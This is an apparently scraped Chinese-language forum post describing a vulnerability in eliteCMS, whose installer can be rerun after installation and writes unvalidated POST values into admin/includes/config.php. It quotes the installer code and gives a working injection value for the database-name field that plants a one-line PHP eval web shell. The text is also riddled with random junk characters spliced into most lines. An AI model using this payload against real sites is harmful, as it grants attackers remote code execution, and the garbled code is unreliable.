eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装1 j5 J- o& h7 y k+ T; U
% W0 L% D! F" {1 n: C另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php3 B. y% {- |2 t$ ^# [: W5 v$ S: c
我们来看代码:
& n, h4 c6 z3 U/ D' G& W1 E; P5 A / a7 O% o: J! t: q) O8 g
...5 u1 ^# d: a3 G
elseif ($_GET['step'] == "4") {: R7 L+ z: j0 Y, ~: m/ H
$file = "../admin/includes/config.php";! U A7 A) z8 P' Y r
$write = "<?php\n";" g5 O3 s' }; D" c; y$ D+ \8 v! U
$write .= "/**\n";4 h9 u! R& O/ R" j
$write .= "*\n";
9 z, _" Y+ B* C2 i6 w" m& N $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";! P0 ~' k. p7 C$ E8 K6 ]
...略...' ]) A0 W6 w6 g- K# m2 N N
$write .= "*\n";0 |. |8 C' Q0 Q- @$ T( B7 F
$write .= "*/\n";) M3 ^) ?7 j* T$ o
$write .= "\n";9 I: B1 U8 J, d) z; E$ `- j
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";+ f% \4 L2 y, H( F+ H
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ C$ O0 X* s5 `$ T+ t
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";. b& e/ l8 b/ ~/ l, B! A/ X
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";( X X2 B2 P# v8 f5 k4 N' x; w
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
$ z: Y- d w4 r $write .= "if (!\$connection) {\n";2 o$ g! j: ?. W$ S/ b
$write .= " die(\"Database connection failed\" .mysql_error());\n"; J: p; Y7 d& e. S0 s. A7 }5 G
$write .= " \n"; p9 @6 F/ [. T. {+ _
$write .= "} \n";
) y) \- i; q1 O$ R+ F- b. } $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";0 b# F# R4 D7 `6 Z
$write .= "if (!\$db_select) {\n";
1 B! K# y8 b. ^$ C1 S% d $write .= " die(\"Database select failed\" .mysql_error());\n";. o- }& {2 ]3 ]& S7 b
$write .= " \n";
. @ H- x$ k3 o2 h! V& }3 \ $write .= "} \n";, W' P; l3 ]! h, O8 l: i
$write .= "?>\n";
8 k8 \$ Y5 N! ]8 @
@1 f) x' a9 Y. n $writer = fopen($file, 'w');! M4 {) B$ v% |
...+ w3 {; N. `) s) p( Y
% X, h7 V% P T9 F7 y% z. `7 W9 w在看代码:
5 W7 g o, P9 g 2 K5 G! S/ A5 l3 A6 E
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, `. ^8 h2 s; l8 T F$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
" u9 a5 z: t2 o! b+ V3 u+ Q1 d3 s4 R/ F$_SESSION['DB_USER'] = $_POST['DB_USER']; H0 N% z9 U5 m/ g& d
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
# e/ U, Z s+ `- f $ ~0 U( H2 [/ Q F3 Y5 a
取值未作任何验证
/ R: W0 k; K& l: h0 A如果将数据库名POST数据:
+ Z5 n( r6 D% {# l: D , }7 B" X1 R# R `
"?><?php eval($_POST[c]);?><?php( ]8 `' A' a8 T" `. K
3 T3 D; f7 P9 U! E5 Y- W3 ~ b: k7 q
将导致一句话后门写入/admin/includes/config.php( c! A2 |0 D& K- m" ~3 d
|